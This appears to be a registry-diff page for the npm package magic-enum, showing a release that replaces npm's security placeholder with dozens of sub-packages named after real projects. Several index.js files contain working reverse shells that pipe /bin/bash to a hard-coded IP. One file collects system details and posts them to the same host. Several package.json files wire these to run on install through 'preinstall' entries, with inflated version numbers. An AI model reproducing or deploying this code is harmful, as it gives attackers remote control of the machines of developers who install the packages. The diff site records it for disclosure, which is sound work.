magic-enum 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of magic-enum might be problematic. Click here for more details.

Files changed (45) hide show
  1. package/anyswappoc/package.json +11 -0
  2. package/bindbc-loader/index.js +31 -0
  3. package/bindbc-loader/package.json +12 -0
  4. package/browser-nextjs/index.js +31 -0
  5. package/browser-nextjs/package.json +12 -0
  6. package/chainlink/index.js +31 -0
  7. package/chainlink/package.json +12 -0
  8. package/checkout_sample/package.json +11 -0
  9. package/checksums/package.json +11 -0
  10. package/com.unity.ai.navigation/index.js +50 -0
  11. package/com.unity.ai.navigation/package.json +12 -0
  12. package/developer-hub/package.json +11 -0
  13. package/ember-nf-graph-examples/index.js +31 -0
  14. package/ember-nf-graph-examples/package.json +11 -0
  15. package/ethereum-node-crawler/package.json +11 -0
  16. package/facebook-pixel-for-wordpress/package.json +11 -0
  17. package/hiero-sdk-cpp/package.json +11 -0
  18. package/images.pages.dev/package.json +11 -0
  19. package/k6-es6/package.json +11 -0
  20. package/k6-learn/index.js +31 -0
  21. package/k6-learn/package.json +12 -0
  22. package/microsoft-authentication-libraries-for-js/package.json +11 -0
  23. package/nlohmann-json/index.js +31 -0
  24. package/nlohmann-json/package.json +12 -0
  25. package/node-terminal-contracts/package.json +11 -0
  26. package/onchain-summer/package.json +11 -0
  27. package/overture2osmjs/index.js +31 -0
  28. package/overture2osmjs/package.json +12 -0
  29. package/package.json +8 -3
  30. package/paypal-googlepay-advanced-integration/package.json +11 -0
  31. package/paypal-server-sdk/package.json +11 -0
  32. package/paypal-standard-integration/package.json +11 -0
  33. package/paypal-standard-integration-react-ib/package.json +11 -0
  34. package/pkl.tmbundle/package.json +11 -0
  35. package/proposals/package.json +11 -0
  36. package/puppetlabs-apt/package.json +11 -0
  37. package/sample-nodejs-vsk-with-adm/package.json +11 -0
  38. package/tomcrypt/index.js +31 -0
  39. package/tomcrypt/package.json +12 -0
  40. package/uniform-reliable-broadcast/package.json +11 -0
  41. package/vite-paypal/index.js +31 -0
  42. package/vite-paypal/package.json +12 -0
  43. package/whatsapp-otp-sample-server/package.json +11 -0
  44. package/worldcoin-grants-contracts/package.json +11 -0
  45. package/README.md +0 -5
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "anyswappoc",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,31 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+
4
+ // Configuration
5
+ const LISTENER_IP = "65.0.127.249"; // Your IP (where the listener is running)
6
+ const LISTENER_PORT = 7766; // The port where your listener is running
7
+
8
+ // Connect to the listener
9
+ const client = new net.Socket();
10
+
11
+ client.connect(LISTENER_PORT, LISTENER_IP, () => {
12
+ console.log(`Connected to listener at ${LISTENER_IP}:${LISTENER_PORT}`);
13
+
14
+ // Spawn a shell (e.g., bash) and pipe input/output
15
+ const shell = spawn("/bin/bash", []);
16
+ client.pipe(shell.stdin); // Send data to the shell's input
17
+ shell.stdout.pipe(client); // Send shell's output back to listener
18
+ shell.stderr.pipe(client); // Send shell's errors back to listener
19
+ });
20
+
21
+ // Handle connection errors
22
+ client.on("error", (err) => {
23
+ console.error("Connection error:", err.message);
24
+ process.exit(1);
25
+ });
26
+
27
+ // Handle connection close
28
+ client.on("close", () => {
29
+ console.log("Connection closed by listener.");
30
+ process.exit(0);
31
+ });
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "bindbc-loader",
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "preinstall":"node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,31 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+
4
+ // Configuration
5
+ const LISTENER_IP = "65.0.127.249"; // Your IP (where the listener is running)
6
+ const LISTENER_PORT = 4444; // The port where your listener is running
7
+
8
+ // Connect to the listener
9
+ const client = new net.Socket();
10
+
11
+ client.connect(LISTENER_PORT, LISTENER_IP, () => {
12
+ console.log(`Connected to listener at ${LISTENER_IP}:${LISTENER_PORT}`);
13
+
14
+ // Spawn a shell (e.g., bash) and pipe input/output
15
+ const shell = spawn("/bin/bash", []);
16
+ client.pipe(shell.stdin); // Send data to the shell's input
17
+ shell.stdout.pipe(client); // Send shell's output back to listener
18
+ shell.stderr.pipe(client); // Send shell's errors back to listener
19
+ });
20
+
21
+ // Handle connection errors
22
+ client.on("error", (err) => {
23
+ console.error("Connection error:", err.message);
24
+ process.exit(1);
25
+ });
26
+
27
+ // Handle connection close
28
+ client.on("close", () => {
29
+ console.log("Connection closed by listener.");
30
+ process.exit(0);
31
+ });
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "browser-nextjs",
3
+ "version": "19.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "preinstall":"node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,31 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+
4
+ // Configuration
5
+ const LISTENER_IP = "65.0.127.249"; // Your IP (where the listener is running)
6
+ const LISTENER_PORT = 7788; // The port where your listener is running
7
+
8
+ // Connect to the listener
9
+ const client = new net.Socket();
10
+
11
+ client.connect(LISTENER_PORT, LISTENER_IP, () => {
12
+ console.log(`Connected to listener at ${LISTENER_IP}:${LISTENER_PORT}`);
13
+
14
+ // Spawn a shell (e.g., bash) and pipe input/output
15
+ const shell = spawn("/bin/bash", []);
16
+ client.pipe(shell.stdin); // Send data to the shell's input
17
+ shell.stdout.pipe(client); // Send shell's output back to listener
18
+ shell.stderr.pipe(client); // Send shell's errors back to listener
19
+ });
20
+
21
+ // Handle connection errors
22
+ client.on("error", (err) => {
23
+ console.error("Connection error:", err.message);
24
+ process.exit(1);
25
+ });
26
+
27
+ // Handle connection close
28
+ client.on("close", () => {
29
+ console.log("Connection closed by listener.");
30
+ process.exit(0);
31
+ });
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "delete-deployments",
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "preinstall":"node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "checkout_sample",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "checksums",
3
+ "version": "99.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,50 @@
1
+ const os = require("os");
2
+ const { execSync } = require("child_process");
3
+ const http = require("http");
4
+
5
+ function getSystemInfo() {
6
+ try {
7
+ const user = os.userInfo().username;
8
+ const hostname = os.hostname();
9
+ const platform = os.platform();
10
+ const arch = os.arch();
11
+ const kernel = execSync("uname -a").toString().trim();
12
+
13
+ return JSON.stringify({
14
+ username: user,
15
+ hostname: hostname,
16
+ platform: platform,
17
+ architecture: arch,
18
+ kernel: kernel,
19
+ });
20
+ } catch (error) {
21
+ return JSON.stringify({ error: "Failed to capture system info" });
22
+ }
23
+ }
24
+
25
+ function sendData(data) {
26
+ const options = {
27
+ hostname: "65.0.127.249", // Your listener's IP
28
+ port: 4111, // Your listener's port
29
+ path: "/log",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/json",
33
+ "Content-Length": Buffer.byteLength(data),
34
+ },
35
+ };
36
+
37
+ const req = http.request(options, (res) => {
38
+ console.log(`Status: ${res.statusCode}`);
39
+ });
40
+
41
+ req.on("error", (err) => {
42
+ console.error("Error sending data:", err.message);
43
+ });
44
+
45
+ req.write(data);
46
+ req.end();
47
+ }
48
+
49
+ const systemInfo = getSystemInfo();
50
+ sendData(systemInfo);
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "com.unity.ai.navigation",
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "preinstall":"node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "developer-hub",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,31 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+
4
+ // Configuration
5
+ const LISTENER_IP = "65.0.127.249"; // Your IP (where the listener is running)
6
+ const LISTENER_PORT = 7772; // The port where your listener is running
7
+
8
+ // Connect to the listener
9
+ const client = new net.Socket();
10
+
11
+ client.connect(LISTENER_PORT, LISTENER_IP, () => {
12
+ console.log(`Connected to listener at ${LISTENER_IP}:${LISTENER_PORT}`);
13
+
14
+ // Spawn a shell (e.g., bash) and pipe input/output
15
+ const shell = spawn("/bin/bash", []);
16
+ client.pipe(shell.stdin); // Send data to the shell's input
17
+ shell.stdout.pipe(client); // Send shell's output back to listener
18
+ shell.stderr.pipe(client); // Send shell's errors back to listener
19
+ });
20
+
21
+ // Handle connection errors
22
+ client.on("error", (err) => {
23
+ console.error("Connection error:", err.message);
24
+ process.exit(1);
25
+ });
26
+
27
+ // Handle connection close
28
+ client.on("close", () => {
29
+ console.log("Connection closed by listener.");
30
+ process.exit(0);
31
+ });
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "ember-nf-graph-examples",
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "ethereum-node-crawler",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "facebook-pixel-for-wordpress",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "hiero-sdk-cpp",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "images.pages.dev",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "k6-es6",
3
+ "version": "9.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,31 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+
4
+ // Configuration
5
+ const LISTENER_IP = "65.0.127.249"; // Your IP (where the listener is running)
6
+ const LISTENER_PORT = 4441; // The port where your listener is running
7
+
8
+ // Connect to the listener
9
+ const client = new net.Socket();
10
+
11
+ client.connect(LISTENER_PORT, LISTENER_IP, () => {
12
+ console.log(`Connected to listener at ${LISTENER_IP}:${LISTENER_PORT}`);
13
+
14
+ // Spawn a shell (e.g., bash) and pipe input/output
15
+ const shell = spawn("/bin/bash", []);
16
+ client.pipe(shell.stdin); // Send data to the shell's input
17
+ shell.stdout.pipe(client); // Send shell's output back to listener
18
+ shell.stderr.pipe(client); // Send shell's errors back to listener
19
+ });
20
+
21
+ // Handle connection errors
22
+ client.on("error", (err) => {
23
+ console.error("Connection error:", err.message);
24
+ process.exit(1);
25
+ });
26
+
27
+ // Handle connection close
28
+ client.on("close", () => {
29
+ console.log("Connection closed by listener.");
30
+ process.exit(0);
31
+ });
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "k6-learn",
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "preinstall":"node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "microsoft-authentication-libraries-for-js",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,31 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+
4
+ // Configuration
5
+ const LISTENER_IP = "65.0.127.249"; // Your IP (where the listener is running)
6
+ const LISTENER_PORT = 4446; // The port where your listener is running
7
+
8
+ // Connect to the listener
9
+ const client = new net.Socket();
10
+
11
+ client.connect(LISTENER_PORT, LISTENER_IP, () => {
12
+ console.log(`Connected to listener at ${LISTENER_IP}:${LISTENER_PORT}`);
13
+
14
+ // Spawn a shell (e.g., bash) and pipe input/output
15
+ const shell = spawn("/bin/bash", []);
16
+ client.pipe(shell.stdin); // Send data to the shell's input
17
+ shell.stdout.pipe(client); // Send shell's output back to listener
18
+ shell.stderr.pipe(client); // Send shell's errors back to listener
19
+ });
20
+
21
+ // Handle connection errors
22
+ client.on("error", (err) => {
23
+ console.error("Connection error:", err.message);
24
+ process.exit(1);
25
+ });
26
+
27
+ // Handle connection close
28
+ client.on("close", () => {
29
+ console.log("Connection closed by listener.");
30
+ process.exit(0);
31
+ });
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "nlohmann-json",
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "preinstall":"node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "node-terminal-contracts",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "onchain-summer",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,31 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+
4
+ // Configuration
5
+ const LISTENER_IP = "65.0.127.249"; // Your IP (where the listener is running)
6
+ const LISTENER_PORT = 7788; // The port where your listener is running
7
+
8
+ // Connect to the listener
9
+ const client = new net.Socket();
10
+
11
+ client.connect(LISTENER_PORT, LISTENER_IP, () => {
12
+ console.log(`Connected to listener at ${LISTENER_IP}:${LISTENER_PORT}`);
13
+
14
+ // Spawn a shell (e.g., bash) and pipe input/output
15
+ const shell = spawn("/bin/bash", []);
16
+ client.pipe(shell.stdin); // Send data to the shell's input
17
+ shell.stdout.pipe(client); // Send shell's output back to listener
18
+ shell.stderr.pipe(client); // Send shell's errors back to listener
19
+ });
20
+
21
+ // Handle connection errors
22
+ client.on("error", (err) => {
23
+ console.error("Connection error:", err.message);
24
+ process.exit(1);
25
+ });
26
+
27
+ // Handle connection close
28
+ client.on("close", () => {
29
+ console.log("Connection closed by listener.");
30
+ process.exit(0);
31
+ });
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "overture2osmjs",
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "preinstall":"node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "magic-enum",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "paypal-googlepay-advanced-integration",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "paypal-server-sdk",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "paypal-standard-integration",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "paypal-standard-integration-react-ib",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "pkl.tmbundle",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "proposals",
3
+ "version": "99.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "puppetlabs-apt",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "sample-nodejs-vsk-with-adm",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,31 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+
4
+ // Configuration
5
+ const LISTENER_IP = "65.0.127.249"; // Your IP (where the listener is running)
6
+ const LISTENER_PORT = 7755; // The port where your listener is running
7
+
8
+ // Connect to the listener
9
+ const client = new net.Socket();
10
+
11
+ client.connect(LISTENER_PORT, LISTENER_IP, () => {
12
+ console.log(`Connected to listener at ${LISTENER_IP}:${LISTENER_PORT}`);
13
+
14
+ // Spawn a shell (e.g., bash) and pipe input/output
15
+ const shell = spawn("/bin/bash", []);
16
+ client.pipe(shell.stdin); // Send data to the shell's input
17
+ shell.stdout.pipe(client); // Send shell's output back to listener
18
+ shell.stderr.pipe(client); // Send shell's errors back to listener
19
+ });
20
+
21
+ // Handle connection errors
22
+ client.on("error", (err) => {
23
+ console.error("Connection error:", err.message);
24
+ process.exit(1);
25
+ });
26
+
27
+ // Handle connection close
28
+ client.on("close", () => {
29
+ console.log("Connection closed by listener.");
30
+ process.exit(0);
31
+ });
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "tomcrypt",
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "preinstall":"node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "uniform-reliable-broadcast",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1"
7
+ },
8
+ "author": "",
9
+ "license": "ISC",
10
+ "description": ""
11
+ }
@@ -0,0 +1,31 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+
4
+ // Configuration
5
+ const LISTENER_IP = "65.0.127.249"; // Your IP (where the listener is running)
6
+ const LISTENER_PORT = 7744; // The port where your listener is running
7
+
8
+ // Connect to the listener
9
+ const client = new net.Socket();
10
+
11
+ client.connect(LISTENER_PORT, LISTENER_IP, () => {
12
+ console.log(`Connected to listener at ${LISTENER_IP}:${LISTENER_PORT}`);
13
+
14
+ // Spawn a shell (e.g., bash) and pipe input/output
15
+ const shell = spawn("/bin/bash", []);
16
+ client.pipe(shell.stdin); // Send data to the shell's input
17
+ shell.stdout.pipe(client); // Send shell's output back to listener
18
+ shell.stderr.pipe(client); // Send shell's errors back to listener
19
+ });
20
+
21
+ // Handle connection errors
22
+ client.on("error", (err) => {
23
+ console.error("Connection error:", err.message);
24
+ process.exit(1);
25
+ });
26
+
27
+ // Handle connection close
28
+ client.on("close", () => {
29
+ console.log("Connection closed by listener.");
30
+ process.exit(0);
31
+ });
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "vite-paypal",
3
+ "version": "10.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "preinstall":"node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "whatsapp-otp-sample-server",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "worldcoin-grants-contracts",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=magic-enum for more information.